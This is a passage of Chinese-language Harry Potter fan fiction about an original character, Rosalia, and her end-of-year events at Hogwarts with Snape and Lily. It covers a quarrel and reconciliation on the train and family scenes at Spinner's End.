卢修斯因为父亲的到来,腰杆硬挺了不少,然而他父亲刚离开办公室,就用手杖狠狠地敲了他一棍子,然后阴着脸把一个破旧黑皮本子扔进他怀里。后来,卢修斯就彻底停止了半夜在城堡里寻寻觅觅的行为。
不久后,黑魔法防御课教授也因执行任务而向霍格沃茨告假。魔法部也正式介入了此事。
搜检人员先是造访了格里莫广场12号,而德鲁埃拉夫人却表示对复方汤剂一事一无所知——她的女儿纳西莎·布莱克是因身患水痘而被迫住院,就诊记录写的明明白白,并声称自己早就为她请过假了——随后,他们就在猫头鹰塔楼里找到那封“遗失的请假信”。
“贝拉特里克斯?她正忙着与罗道夫斯彩排婚礼呢。你们为什么不去问问莱斯特兰奇家的人呢?”德鲁埃拉夫人不耐烦地说。
从某种程度上来说,这种僵持的局面一直持续到了复活节假期之后。漫长的时间消磨了事件的尖锐,校内原本众说纷纭的氛围,也随着课业的逐渐繁忙而缓慢淡去了。
当然,也有对此事无法释怀的人,比如小天狼星及詹姆等人。
邓布利多并没有因为小天狼星坦白拉文克劳火灾的事而表现出愤怒,但也没有因为对方“偷”到了复方汤剂这一关键证据而表扬他——那天之后,他非常严肃、认真地针对小天狼星的冒险行为与其聊了很久,一直聊到对方梗着的脖子慢慢变红。
而詹姆在看到小天狼星耷拉着脑袋从办公室里出来后,也不管什么黑的白的了,只一味地试图把对方的毛捋顺,这让本就欲言又止的卢平更加插不上话,最后,他也只好把道理放到一边,优先照顾起小天狼星的心情。
巫师与巫师之间的悲欢并不相通。和这几人的忧郁不同的是,从一月底开始,罗萨利亚、莉莉和斯内普几乎每天都有乐子。
先是莉莉过生日——斯莱特林派对过后,罗萨利亚和斯内普便跟着赫奇帕奇级长泰德·唐克斯偷偷突击了半个周的蛋糕制作方法,终于在三十号当晚给莉莉送上了足足有五层高的大号生日蛋糕。
蛋糕的每一层都有不一样的口味,正好可以让莉莉和她在格兰芬多的朋友一起分享——当然,詹姆、小天狼星、卢平和彼得四人也是有份的。虽然路过他们时,莉莉轻轻哼了一声,但行为上却没有选择跳过,她给每人都留下了一块蛋糕。
罗萨利亚心想,幸好她没说蛋糕是自己和斯内普亲手做的,不然他们四个人中有两个人可能会直接吐出来。
紧接着,众望所归的二月来了。
在接收到安多米达的信号之后,罗萨利亚便利用家养小精灵劳伊清理了卢修斯七零八落的魔药证据,顺便私吞了对方全部的药材私人储藏——吓得卢修斯以为自己被秘密搜查了,还跑去问斯内普怎么办——他不会知道,这些东西实际已经归对方所有了。
后来,就是魁地奇赛场的那一幕了。
虽然这事刚开始闹得人心惶惶的,但卢多·巴格曼——不知道什么时候混上了解说员的角色——很快就在比赛开始后,以十分高昂的讲解带跑了绝大部分人的情绪和注意力。
就连与安多米达共商密谋了“请假信”、又功成身退的罗萨利亚,也难得放空大脑,享受了整个魁地奇赛季。
再然后,情人节到了。
这一天还是罗萨利亚的生日。
在整个霍格沃茨都在暗自冒着粉红色泡泡的时候在过生日,是需要一些勇气的。光是拉文谢德堡赠送的夜读灯和阿莱西奥叔叔寄送的零用钱,就让罗萨利亚好好品尝了一番被调侃的滋味。
好在,莉莉显然考虑到了可能的尴尬,她更明智地选择当面把生日礼物交给罗萨利亚。她准备了一款淡玫瑰花香味道的香水。这是她向斯拉格霍恩请教后制作,一滴就能持续很长时间,其中含有的月长石还有放松精神的效果。罗萨利亚当即就用上了。
而斯内普则难得地在上课的时候写了一张纸条给她,解释说礼物他会让穆宁在晚上给她送来。
罗萨利亚面上挑挑眉,实际憋着笑就回复了一句你脸皮好薄——然后斯内普剩下半天就一直没理她。
直到当天全部课程结束后,他才对罗萨利亚说:“穆宁会送到拉文克劳餐桌上。”
因为从一开始就没把晚餐时间归在斯内普说的“晚上”范围内,罗萨利亚一时没反应过来:“穆宁要送什么东西?”
斯内普:“……生日礼物。”
罗萨利亚有点惊讶:“但是晚餐时间人很多啊。”
斯内普马上又不理她了。
罗萨利亚不知道自己做错了什么。但她还是在晚餐时间暂时地回到了拉文克劳餐桌。莉莉和斯内普则在赫奇帕奇餐桌末尾和泰德·唐克斯坐在一起远远地看着她。
很快,穆宁的叫声就在礼堂上空响起。罗萨利亚远远地就看见它抓着一个黑棕色的大玻璃罐缓慢而小心地朝她飞来。
因为玻璃罐看起来十分稀奇,周围盯着她看的人还不少。罐子的宽口瓶颈上还拴着标签,上面写着:剧烈摇晃后打开。
罗萨利亚按照指示,双手捧起它用力地上下摇晃,很快,黑棕色瓶罐便在她手中颤抖起来,瓶壁内开始星星点点地闪烁微光,好像有什么东西要从里面一冲而出。
“快打开。”她旁边忽然传来催促的声音。
罗萨利亚一把拔开了瓶塞。
霎时间,一片片白金色光芒从瓶口源源不断地向她涌出,她下意识地眯起眼睛——但罗萨利亚又很快瞪大了它们:散发莹莹光芒的折纸蝴蝶围绕着她欢快地转圈,有的还在她面前拼出了Happy Bday的字样,随后,“砰”的一声,纸蝴蝶们齐齐炸作花瓣雨,慢悠悠飘回了瓶中。
罗萨利亚感到周遭安静了一瞬。
紧接着,不知道是谁先起头喊了第一声生日快乐,随后,她就如刚刚被包裹在纸蝴蝶中那般,被不同声音的生日祝福淹没了。
春天快到了。
夏天还会远吗?
N.E.W.T考试结束后,七年级毕业典礼和学院杯仪式就到了。
这一年要离开学校的,不只是小天狼星的堂姐安多米达·布莱克,还有一直在餐桌上照顾罗萨利亚、莉莉和斯内普的泰德·唐克斯——这就导致三人再次和詹姆、小天狼星、卢平和彼得四人撞了个正着。
九个人中有七个人的脸色很精彩,剩下两个有一个在尴尬又心虚地笑,还有一个不明真相,高兴地关心几人:“你们都收拾好回家的行李啦?”
一个拿着魔法照相机的赫奇帕奇路过,问他们要不要拍合照,两枚银西可一张,现场直出;如果想要把照片印在纪念报纸上
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,那就需要十枚,三天内会有猫头鹰寄送;如果要一整套套餐,则只需花费十一枚。
白天毕业典礼上,四个学院已经分别拍摄过毕业照了。但学生们私下几乎都会再找朋友合照。
安多米达抬眼望向泰德,还没来得及说话,就忽然感觉有人在背后推了自己一把——她踉跄两步,正好站到了泰德身边。
安多米达一回头,发现罗萨利亚快速地朝她挤了挤眼睛——她的耳朵马上变成了粉红色,心里纳闷极了:又来了。真是怪了。她到底是怎么看出来的?
然而,这个画面从小天狼星的角度看,就完全不是这么一回事了,他抄起了魔杖——
“来一张,马琳!要报纸版面的。”泰德抬手将他的魔杖按低了,然后掏出六枚金加隆,冲安多米达腼腆地笑了一下。
他道:“要九份套餐,多余的纳特你留着,待会儿帮我们把最好的那段瞬间拍下来。”
“好嘞。”
小天狼星怒气未消地看向安多米达,后者却说:“你别惹人家。”
泰德招招手对罗萨利亚他们说道:“快来这里。”
“挨近一点——再近一点——”
“待会儿说‘三二一’就开始拍摄咯!”
“三、二、一——挥挥手,笑一笑吧——”
“咔嚓!”
其他年级的学生陆陆续续抵达礼堂,一年一度的学院杯颁奖仪式正式开始。当然,学生们已经从学院分沙漏和礼堂装潢中知晓谁是最终赢家了。
格兰芬多在课堂和魁地奇比赛中表现突出,但学生违纪实在太多;斯莱特林的学院分一直遥遥领先,但因为飞天扫帚被迫送检,错失了一整场魁地奇比赛分数;赫奇帕奇无功无过,分数和暗暗较劲的拉文克劳打得有来有回,最终还是以十分的课堂问答之差排在第二。
“让我们恭喜今年学院杯的获得者——拉文克劳!”邓布利多校长宣布。
全场响起了雷鸣般的掌声。拉文克劳的学生虽然矜持地没有高声喝彩,但每个人脸上都是压抑不住的自得和骄傲,鼓掌的手更是挥出了残影。罗萨利亚当然也很高兴,她为自己在课上贡献过的加分而小小地自豪了一下。
“咕咕——咕咕——”
就在这时,一只猫头鹰的叫声从头顶响起。邓布利多有些惊讶,因为那猫头鹰是朝他飞来的。学生们还在兴奋地鼓掌,而他检查了信封的印章后,便抬手示意所有人安静。
麦格教授本来在和弗立维教授、斯普劳特教授喜悦地交谈,见状,蓦地收敛笑容。弗立维教授看不到邓布利多手里的信件,便询问发生了什么,麦格教授低声告诉他:“是魔法部的来信。”
所有学生都在安静等待,他们不知道发生了什么。邓布利多拆开信件,扶着眼镜看了好一会儿,最后慢慢走到台前,说道:“孩子们,我有一件事情要告诉你们,一件遗憾而严肃的事情。”
“因此,我虽然不忍打扰你们的喜悦,但依然决定要在此刻说出来。”
“我刚刚收到魔法部、傲罗办公室的来信,得知——普鲁登斯·菲奇,傲罗骨干、你们的黑魔法防御课教授,在执行任务时因公殉职。”
整个礼堂变得更加寂静。一些人脸上写着恐惧和震惊,另一些人面带同情和怜悯,还有一些人看起来毫不在乎——罗萨利亚不知道自己脸上现在是什么表情,她脑子有些混乱,身体在渐渐发冷。
“菲奇教授一生务实勤勉、忠于职守,并为我校的黑魔法防御课教学付出良多……”
好像不对……
罗萨利亚僵硬地抬手捂上自己半边耳朵,后知后觉地意识到自己的状态并不完全是因为讣告。可是已经晚了。
在拉长的、剧烈的耳鸣中,她听见邓布利多的声音在逐渐离自己远去:
“让我们为这位勇士的永远离去,献上哀悼。”
“咚。”
所有人寻着声音看向拉文克劳餐桌。
有人大喊道:“她晕倒了——”
28. 怒火
霍格沃茨特快列车咣当咣当地在树林中穿过。
罗萨利亚脸色苍白,嘴唇一点血色也没有,她半坐半卧地缩在坐垫上,看上去十分虚弱。继昨晚晕倒之后,她就一直是这副模样——而晕倒的原因很直接:
她忘喝魔药,导致遗传病发作了。
如果正常人的灵魂和肉身是一枚硬币的两面,那么罗萨利亚就是一块脆弱的夹心饼干。若不定期饮用魔药,她随时会裂开——或者说陷入濒死状态。
当然,倘若运气不好,她就真的死了。要知道,这种病第一次降临在拉文谢德家族就带走了将近一半人的性命,若不是后人从古书典籍中挖掘出了稳定剂的配方,他们早就绝代了。
这次发作,说到底是罗萨利亚自己疏忽了。因为太久没出问题,她就轻视了身上的遗传病——艾琳夫人圣诞节寄送的那几支稳定剂,她总共就喝了一瓶。
万幸的是,她在当天收拾行李时注意到了这些药。因为担心就这么拿回去会没办法向艾琳夫人交代,便揣了一支放在口袋里,打算在晚宴上就着甜汤喝掉。这才使斯内普能在她昏厥后的第一时间用飞来咒翻出药剂,并给她及时地灌了下去。
彼时,礼堂众人还在愣神。
邓布利多校长快步上前,目光从空药瓶上一扫而过。他俯身检查完罗萨利亚的情况,随后捏着斯内普的肩膀认真地说:“她会没事的,孩子,回去吧。”
如他所言,罗萨利亚马上就恢复了意识,仿佛刚刚只是突发了一场低血糖。邓布利多也轻轻地带过了这个插曲,将晚宴继续主持了下去。
“罗萨利亚。”
“嗯。”罗萨利亚困倦地掀开眼皮,斯内普的脸色很不好看。她说:“我只是想睡觉了……你也不能我一闭上眼就喊我一下吧……”
这时,莉莉回来了,她从列车售卖员那里买来了南瓜馅饼,给斯内普和罗萨利亚一人带了一块:“快,先吃点甜甜的东西。罗萨,你好点了没有?”她担心地问。
“我没什么事了,就是好困……西弗勒斯不让我睡觉……”罗萨利亚接过南瓜馅饼小声地抱怨。
斯内普冷哼一声。
莉莉为难地说道:“再坚持一下吧,罗萨?我觉得西弗勒斯说的对,你现在犯困不是因为真的需要睡觉,而是身体还有问题。”
罗萨利亚瘪瘪嘴,心想可算让你们两个站一块儿去了,但怎么是在这种时候。
莉莉:“我们聊聊天吧!你们知道我刚才在过道上看见什么了嘛?”
罗萨利亚配合地问:“谁呀?”
“波特和彼得架着莱姆斯车厢里到处走——昨天你们也看到了,莱姆斯的腿上还包着纱布,他们就这么闹腾。”莉莉的表情就像那伤口长在她身上一样,有些不忍又有些气愤地说:“甚至,西里斯拿着莱姆斯的拐杖说,要跟他们三个比赛拔河——就用拐杖当绳子!”
罗萨利亚想象了一下那个画面,咯咯笑了:“这几个疯子。莱姆斯怎么说?”
“……莱姆斯一定是个傻子。”莉莉摇摇头,一副很可怜他的模样:“他笑得很开心——你说他是不是真不知道这样是不利于健康的?”
斯内普幽幽地说道:“他本来也不‘健康’——身体和心理上都是。”
莉莉提高了声音:“西弗勒斯!”
罗萨利亚赶忙道:“莱姆斯开心就好。”
莉莉闷了闷声音,又问:“你们说他为什么总能把自己弄伤呢?庞弗雷夫人好像也没法让他快速好起来。波特还以为是谁一直在用黑魔法偷偷欺负莱姆斯。但莱姆斯坚称,他这次是路过打人柳时靠得太近,不小心被袭击了。”
罗萨利亚挑眉,敏锐地问:“向梅林祈祷,但愿波特没有怀疑过我和西弗勒斯?”
“他凭什么怀疑你们——我是说,他根本没有证据。他就是对你们有偏见而已。”莉莉的眼神飘忽了一下,道:“再说了,你们也没用过黑魔法吧?”
“没有。”“没有。”罗萨利亚和斯内普异口同声。
莉莉看起来有些怀疑,但她像是想到什么,提了另一件事:“我回来前,莱姆斯还关心你了呢,罗萨。”
罗萨利亚张张嘴:“啊,是吗?”
“他说希望你能快点恢复,以及下次要记得按时喝药,这可不是闹着玩的。”
“这也用不着他来提醒。”斯内普冷冰冰地说:“他先管好自己吧。”
莉莉不悦地尖声道:“西弗勒斯,你怎么老针对莱姆斯?他没惹你吧。他只是关心罗萨。”
罗萨利亚习以为常地调和道:“西弗勒斯的意思是,莱姆斯应该优先照顾好自己,是吧?”
谁知,这次斯内普却没有顺着她的话说,而是生硬地道:“不是——我就是说他多管闲事——”
莉莉道:“朋友之间关心彼此不是很正常吗!”
“你们别吵了,我头好晕……”罗萨利亚道。
莉莉停了下来,放轻声音说了句抱歉,然而斯内普却不知怎么,仿佛一定要和罗萨利亚对着干一样,语气冰冷地说:“罗萨利亚,别拿你对付别人的那一套来对付我。”
“……你什么意思?”
“我说收起你那小动物一样的行径。太明显了。”
一股火气从罗萨利亚心底瞬间窜到头顶。她感觉太阳穴在突突地跳。
“不知道的还以为你在教训小猫小狗呢,西弗勒斯,我脖子上没挂着你的名牌吧?”她讥讽道。
“很显然没有,不然你为什么对所有人都摇尾巴?”斯内普说道。
罗萨利亚点点头,被彻底气笑了。她站起来,往包厢外走去,莉莉慌乱地起身拉住她,说:“罗萨,你去哪?你先冷静……”“西弗勒斯·斯内普——”
莉莉看见罗萨利亚在发抖。对方扭过头,声音喑哑:“我告诉你:我想对谁好就对谁好!但我想就是巨怪来了都该看得出我偏心谁——”
“罗萨,我们去——我们去隔壁车厢看风景怎么样?先消消气、先消消气……”莉莉赶紧拥着罗萨利亚往外走,走之前,她还狠狠瞪了斯内普一眼。
罗萨利亚靠在列车末尾的车窗上,只觉得脑子嗡嗡地响。而莉莉咬着嘴唇在旁边陪她,显得有些不知所措。
“罗萨……你好一点了吗……”她声音很小,还在试图转圜,说:“其实——我不是替西弗勒斯说话,但他从昨天你晕倒开始就一直脸色很差——”“我知道,莉莉。”
罗萨利亚打断了莉莉,说道:“我的状态不好,他的状态也不对,但这不是他说这话的理由。其他人这么讲也就罢了,他不能这么讲我。”
说完,她又注意到对方两难的状态,便温声道:“不用担心我,莉莉,我没事。你可以先回去——但你别跟西弗勒斯吵架。等平静下来后,我会回去和他聊聊的。”
莉莉担忧地牵起罗萨利亚的手,反复摩挲。罗萨利亚冲她微微笑了一下,她才点点头,一步三回首地回去了。
蒸汽火车“咯哒咯哒”地摇晃着,莉莉刚走到包厢跟前,门就率先一步从里面被拉开了。斯内普一转头,看到拐角处的莉莉,刚迈出去的脚又收了回去。
莉莉冷声道:“你要去哪?找罗萨吗?”
斯内普没有吭声。
“你真的把罗萨惹毛了,你知道吗?”莉莉有些愤恨地瞪他一眼:“即便如此,罗萨竟然还嘱咐我不要跟你吵架。”
“你自己好好想想吧。”莉莉绕过他,朝前面的车厢走去了。
车窗外的风景由密林滑入辽阔的田野,罗萨利亚抱臂靠着车窗发呆。火气弥散后,胸腔里剩下的是更沉闷郁结的东西。
她清楚地明白,斯内普并不是她心绪异常的根因。那个傲罗、黑魔法防御课的教授,才是。
尽管她知道黑魔法防御课教授这个职位确有诅咒,可听到对方死讯的那一刻,她还是不自禁地将其归因给了自己——
因为在和安多米达达成交易、放走贝拉特里克斯时,她确实没有去考虑多少人会因此受灾。
罗萨利亚面无表情地注视着自己在车窗上的倒影。
或者说,在那一刻,她在乎自己、在乎斯内普,远
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胜过对其他无辜之人的关心——她告诉自己:本来贝拉特里克斯也不会这么早被抓住。
然后就那么做了。
所以她对此也没什么好辩解的。
……结果,斯内普居然看不出来自己偏袒他?她不信。她才不信。还说什么别拿对付别人那一套来对付他——她那不是为了让他和莉莉少吵几次架吗?他脑子到底在想什么呢?早知道刚才应该用摄神取念——
罗萨利亚感觉自己又要压不住怒气了。
“白痴。”她低低地骂了一句。
……算了,这件事,她自己或许也有点太擅作他的主张了。罗萨利亚又心想。
不知道莉莉和他相处得怎么样了,还是回去看一眼吧……
她一边想着,一边转过身,谁知刚回头,就对上了不远处的一双黝黑的瞳孔。她心跳霎时漏了一拍。
面前,斯内普正扶着车厢走廊的墙壁,一动不动地站在那儿看她。由于隔着一段距离,罗萨利亚能明显地看出,他和一年前相比长高了。
……但他是什么时候来的?他站在那儿多久了?这人走路怎么没声啊——是不是听见她骂他了?
她盯着斯内普那张看不出情绪的脸,主动走到他面前,平静地问:“你有什么想说的?”
斯内普开口道:“对不起。”
“西弗勒斯,”罗萨利亚深吸一口气,“你今天是怎么了?”
“……我不知道。”斯内普说:“我不会再那么说了。”
罗萨利亚又问:“你是因为知道自己说了错的话,还是只是为了让我消气、为了和好?”
听到这个问题,斯内普的喉咙里发出咕噜的声响,就仿佛有什么把他的喉咙掐住了一样。而罗萨利亚很耐心地等他。
终于,斯内普用小到几乎听不见的声音道:“……你想对谁好都行。”
罗萨利亚这才点点头道:“走吧,我们回去坐着吧——”
“但是,”斯内普道,“你能不能继续……”
“继续什么?”罗萨利亚没听清。
“没什么。”斯内普只是道:“离国王十字车站还有一段时间……你去睡吧,我会注意你的状态。”
九又四分之三站台上,艾琳夫人站在角落里等待罗萨利亚和斯内普。她几乎很难引人注意——如果无视掉她肩膀上栖息着的那只渡鸦的话。
这只渡鸦,就是罗萨利亚嘱咐穆宁在临走前挑选的“保镖”,它的主要任务是留在艾琳夫人身边吓唬和折磨托比亚。
看见两个孩子一前一后从车上下来,她脸上难以抑制地露出欣慰神色。而她肩膀上的渡鸦也扑动翅膀,朝穆宁的笼子飞去。
罗萨利亚顺着渡鸦的来路,一眼就看到了艾琳夫人,她道:“艾琳夫人,好久不见,你看起来气色好了很多!”
“是吗?”艾琳夫人局促地微笑起来。
“真的。”罗萨利亚说道。
人是无法完全掩饰自己的生活状态的,细枝末节会暴露一切。一年前,艾琳夫人还是一幅面黄肌瘦、满脸倦容的模样,而现在,她的双颊不再那么凹陷,嘴唇也有了一丝血色。罗萨利亚愿意相信,这一年里,艾琳夫人过得比之前要好。
艾琳夫人点点头,眉头却缓缓皱起来:“但是罗萨利亚,亲爱的,你怎么看着这么苍白呢?”
“因为她没有按时喝稳定剂,导致遗传病发作了。就在昨晚。”斯内普告状似的说道。
这话令艾琳夫人面色一变:“真的吗?罗萨利亚?让我检查一下。”她领着两人往角落躲了躲,然后掏出魔杖,牵起罗萨利亚的手交给斯内普。后者抓住她的手臂,摆出了牢不可破咒誓言的手势。
艾琳夫人的杖尖微微亮起,罗萨利亚能感觉身体在发烫。片刻后,她被松开了。
艾琳夫人明显松了一口气:“现在看起来没什么事了——但你不能再忘记喝药了,罗萨利亚,这不是小事。”
罗萨利亚好奇地看着自己的右手,在她印象中自己从没被这样检查过,于是问道:“刚刚那是什么,艾琳夫人?”
29. 母与血
艾琳夫人有些不知从何说起:“呃……这是一种检测方式,但其中的原理比较复杂……”
“这是利用了牢不可破誓言的一个特性。”
斯内普精准地解释道:“想要发起牢不可破誓言,前提是誓言双方的灵肉状态稳定且正常。这样,才能确保违誓者无法逃脱死亡代价。”(1)
“杖尖发亮,代表条件满足,可以进行下一步。所以你确实没事了。”
艾琳夫人点头道:“是的,但这显然不是正规手法,所以最好还是要避开人。”
“罗萨利亚——西弗勒斯——”
听到呼唤声,罗萨利亚回过头。她看到莉莉正和熟悉的四个人站在一起,他们看起来刚从车站上下来。
艾琳夫人期待地问:“是莉莉对吗?她旁边的孩子们都是你们新交的朋友吗?”
斯内普没有说话,而罗萨利亚扯起嘴角笑了笑:“不,他们几乎只是莉莉的朋友……我们能去和莉莉道个别吗?”
“哦……当然可以。”
罗萨利亚和斯内普朝莉莉走去,詹姆和小天狼星一见他们就扭过头走开了。而卢平、架着卢平的彼得以及莉莉站在一起,和他们打了招呼。
“你们俩……和好了吗?”莉莉小心翼翼地问。
“和好了。”罗萨利亚简短地说,她接着又转向卢平:“莱姆斯,你的腿怎么样?”
“没事,很快就能好,你呢?”卢平轻快地说。
“我已经没什么事了。”罗萨利亚道。
“那就好。”卢平笑了一下,随后从彼得手里接过拐杖,挥挥手道:“我爸爸妈妈还在那边等我,莉莉、罗萨利亚,还有西弗勒斯,我们暑假后再见了。”
“再见莱姆斯!记得写信!”莉莉道。
“暑假后见,莉莉。”彼得挥挥手。
“暑假后见!”
莉莉最终面向罗萨利亚和斯内普,试探着问:“你们俩,真的和好了吗?”
罗萨利亚点点头,道:“真的。只是我回去后,因为太困睡着了,西弗勒斯为了照看我才没有去找你。”
“那好吧。”莉莉拉起罗萨利亚的手,又拉过斯内普的,说道:“你们俩重归于好就行。”
“啪!”
莉莉话音刚落,三人便听到一记响亮的耳光在不远处响起。站台上紧接着出现了骚动。
“怎么回事?”
莉莉拉着两人往人群驻足的地方走,她好像是看见了什么。很快,罗萨利亚也看到了两个身影。一个穿着典雅、头戴蕾丝礼帽的女人刚刚放下自己的手,另一个身穿绣有格兰芬多徽章巫师袍的男孩则偏着脑袋,发丝在昏黄的灯火下显得有些凌乱。
那个男孩是小天狼星。莉莉捂住嘴巴。
“你——干什么?”是詹姆的声音。他从波特夫妇那里冲了过来,拉住小天狼星的手,把他拽到自己身后。
女人微微侧头,她的声音听起来阴冷又嘲讽:“瞧瞧,这么快就在格兰芬多交上了狐朋狗友。”
“狐朋狗友?”波特父亲揽着波特太太微笑着走过来:“晚上好,布莱克太太。这是我儿子,詹姆斯·波特。”
布莱克太太微微挑起眉毛:“晚上——好,波特先生以及波特太太。如果你们俩能告诉自己的儿子,不要对西里斯拉拉扯扯,那就更好了。”
“詹姆对我拉拉扯扯?”小天狼星抬手理顺自己额前的碎发,将胳膊搬到詹姆的肩膀上倚靠着,讥笑道:“很抱歉,是你儿子先缠着詹姆斯·波特不放的。”
布莱克太太的胸膛剧烈起伏了一下:“你这个孽子,胆敢当着这么多人的面忤逆——”
波特先生抬手打断她,道:“是啊,这么多人,布莱克太太你再有什么不满,本可以写一封吼叫信送到霍格沃茨,让孩子们自己处理——现在,大人们都在呢,你这样对孩子有什么意思?诸位——都散了吧,晚餐还在家中等着你们享用。”
罗萨利亚又拉着斯内普和莉莉往后退两步,说:“走吧,别看了。”
莉莉的小臂拧着劲,她小声道:“可是——”
罗萨利亚温声说:“莉莉,你爸爸妈妈还有姐姐在国王十字车站要等急了。没有巫师带领,麻瓜进不来九又四分之三站台,记得吗?”
斯内普也没有看下去的意思,道:“走吧。”
莉莉这才脚步一松,任由两人把她拉走。
布莱克太太和波特先生的交谈声越来越远,莉莉的脑袋却忍不住一直往回转:“他妈妈真的好凶……她怎么能这样对西里斯……怪不得西里斯——”
“她就是故意的。”罗萨利亚小声说:“波特先生说的对,布莱克太太就是要当着所有人的面这么干。如果没有足够的观众,她的表演还未必尽兴呢。”
三人和艾琳夫人一起穿过了九又四分之三站台。伊万斯夫妇可算等到了自己的女儿,激动地迎了上去,佩妮则还在一边瘪着嘴。
“那我们假期见!”莉莉挥挥手说道。
和莉莉告别后,艾琳夫人便领着二人走出国王十字车站。他们要先乘坐公交车到偏僻无人的地方,再使用幻影移形回去。
然而,就在他们乘车的时候,罗萨利亚忽然觉得小腹有些不对劲。一种熟悉又陌生的下坠感涌了上来。她绝对不会认错这种感觉,瞬间,这一整天困倦又易怒的状态仿佛得到了解释。
“你怎么了——”坐在一旁的斯内普首先发现了她的异常。紧接着,艾琳夫人听到动静也回头起身。她扶着把手快步靠近,俯下身问:“罗萨利亚,你不舒服了吗?”
罗萨利亚道:“别担心,不是因为遗传病,艾琳夫人,我只是……”
“只是什么?”斯内普追问。
罗萨利亚短暂地思考了一下年代和背景,最终还是对艾琳夫人说道:“我的经期好像到了,艾琳夫人。”
片刻后,三个人就出现在一家还在营业的零售超市门口。
“西弗勒斯,你负责在外面照看行李,好吗?”艾琳夫人吩咐道:“我陪罗萨利亚去买点东西。”
斯内普点点头,他目光在罗萨利亚身上飘过,又马上若无其事地移开了。
艾琳夫人拉起罗萨利亚的手走入商店,然后有些笨拙地找到盛放卫生巾的货架蹲下。她结结巴巴地给女孩讲解它们的型号和功用,一番话下来,手都快把那款卫生巾包装捏皱了。
“我、我这样说,你能理解吗?”她闪躲着罗萨利亚的注视。
罗萨利亚自然是理解的。她道:“艾琳夫人,你说得很清晰——每个月都会在相似的日期来到,一般持续一周左右,卫生巾分白天用的和晚上用的两种,还有具体怎么固定它们——这些我都记住了。”
“谢谢你,艾琳夫人,你已经做得很好了。”罗萨利亚温和地道:“你就像我妈妈一样。”
艾琳夫人的脸红了,她有些语无伦次,就仿佛得到了什么前所未有的鼓舞:“我很高兴……我是说……罗萨利亚,总之,这是你人生的新的开始。”
她眼睛湿润地、亮亮地望着罗萨利亚,而罗萨利亚也回望她扬起嘴角。一种女性之间亲密而奇妙的联结就在此刻诞生了。
前去付款前,艾琳夫人的目光落到了货架上另一排的男士内衬用品上。她忽然动了动指头,似乎在计算着价格,随后飞快地瞟了一眼罗萨利亚,自以为相当隐蔽地从其中拿走一份塞到怀里,把它压在卫生巾下面递给了收银。
罗萨利亚便假装自己一点儿也没注意到。
离开超市后,艾琳夫人又单独把斯内普拉到一边讲了些什么——罗萨利亚猜测,她可能是在跟斯内普讲一些和青春期有关的性别教育吧。
哎……一人拉扯两个异性小孩的妈妈真是不容易。父亲角色本该在这一环节承担责任才对……但是,谁又能指望托比亚来干这事呢?她抱着自己的卫生巾心想。
这么一折腾,等三人回到蜘蛛尾巷时,天色已经很晚了。
或许是经期插曲发挥了什么作用,返程途中,艾琳夫人一直十分亲密牵着罗萨
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利亚,絮絮叨叨的话也变多了,直到进门之后,才依依不舍地放开手,转身去厨房加热晚饭。
而趁着这个空隙,罗萨利亚打量起四周——她敏锐地察觉到了一些变化:餐桌上多了块桌布,楼梯夹缝里塞的杂物消失了,玄关处摆着一副木头鸟架——艾琳夫人的渡鸦阿里奥特此刻正在上面梳理起羽毛。(2)
总的来说,家里干净了好多。
艾琳夫人端着热好的晚饭回到餐桌上时,正巧捕捉到两个孩子张望的视线。
“托比亚他,其实还没回来……这事说来话长。”她慢吞吞地解释着,语气里满是无奈和尴尬:“托比亚很讨厌渡鸦,你们走后,他一直希望我能用魔法驱赶它们。我说我不能使用魔法,这是违法的,会被其他麻瓜发现。当然,其实我也不想……”
说着说着,艾琳夫人的声音越来越小,手指更是蜷缩在胸前:“好吧,我确实偶尔也有点……觉得托比亚有点烦,因为他老弄脏客厅和厨房。所以我做了一个鸟架放到门口,这样他就不会在楼下待太久——他受不了了,不久前换了一份农场看守的工作,不怎么回来住了……我这样是不是很过分了?”
她的视线又转向斯内普,就仿佛自己刚刚为孩子树立了什么不好的形象那样。
而斯内普的眼睛亮亮的,仿佛听到了什么天大的好消息:“并不。”
闻言,艾琳夫人轻轻地说:“我还以为……你会不太高兴。”
罗萨利亚问:“艾琳夫人,你为什么觉得西弗勒斯会不高兴?”
“……因为——不行,我觉得我不能说……”艾琳夫人瑟缩一瞬。
“可以说,”罗萨利亚故意撒娇道,“您什么都可以说,我想听。到底为什么啊?”
艾琳夫人的目光在两个孩子间徘徊不前,她深深呼吸,仿佛终于攒足勇气,说道:“我觉得……我应该承担起维系家庭和谐的责任,可我无论如何也做不到,而且我现在还在……还在驱赶西弗勒斯的父亲——我想没有哪个孩子会想要这样一个母亲……”
斯内普停下了所有动作,一动不动地望着艾琳夫人。
他脸上有困惑,但更多的是茫然,就仿佛艾琳夫人刚才说了另一门语言。而艾琳夫人显然也无法读懂斯内普现在的状态,她的脸色正渐渐衰败成苍白。
罗萨利亚假装没拿稳勺子,碰到碗沿上发出一声脆响。紧接着,斯内普的声音响了起来。
“我从没这么想。”他说道。
艾琳夫人颤抖着呼出一口气。罗萨利亚也终于心中一松。
“是啊,西弗勒斯才不会这么想的呢。”她说道:“我们都觉得您现在这样更好,您做的已经够多了。”
斯内普抿着嘴点点头。
终于,艾琳夫人的嘴角一扯一扯地勾起来了。罗萨利亚看得出来,她等待这份来自子女的肯定已经太久了。
其实,他们母子但凡有一方是会主动沟通的类型,彼此也不至于相处得像陌生人一样。罗萨利亚无奈地想。
晚饭过后,三个人一起整理和清洁餐具,趁斯内普去擦餐桌的空隙,艾琳夫人悄悄叫住了正手握两三把刀叉、跟卡住的碗柜较劲的罗萨利亚。
“孩子。”她把洗碗布拧干,眼里闪烁着光,说:“谢谢你。”
“这没什么。”罗萨利亚笑了笑,手下的碗柜同时不堪重负地发出一声呻吟——但好在是被完整地拉开了。她说:“这是我应该做的。”
她垫起脚把刀叉摆进去,却忽然听到艾琳夫人小声地说出一个“不”字,道:“我不是说家务……我是说,如果不是你,我可能永远也没有勇气和西弗谈论这些,是你一直在鼓励我……我能看出来的。”
“我感觉——我很幸运。”
“从很早以前我就想说——你是一个这么聪慧、这么懂得关心和引导别人、这么早就明白事理的女孩,”艾琳夫人轻轻地把碗柜关上,说道,“你在来这里之前,一定吃过很多的苦。”
罗萨利亚仰着脑袋,愣在了原地。
30. 剪发
有一瞬间,她恍惚觉得艾琳夫人眼中的自己,并不是此刻的罗萨利亚。
不过对方马上又道:“愿今后,病症能少些折磨你。我会让西弗勒斯也学会熬制你的药剂。”
罗萨利亚失笑点头:“……好的,谢谢你,艾琳夫人。”
如艾琳夫人所言,从假期第一天起,她每天都会教斯内普一部分有关灵肉稳定剂的知识。
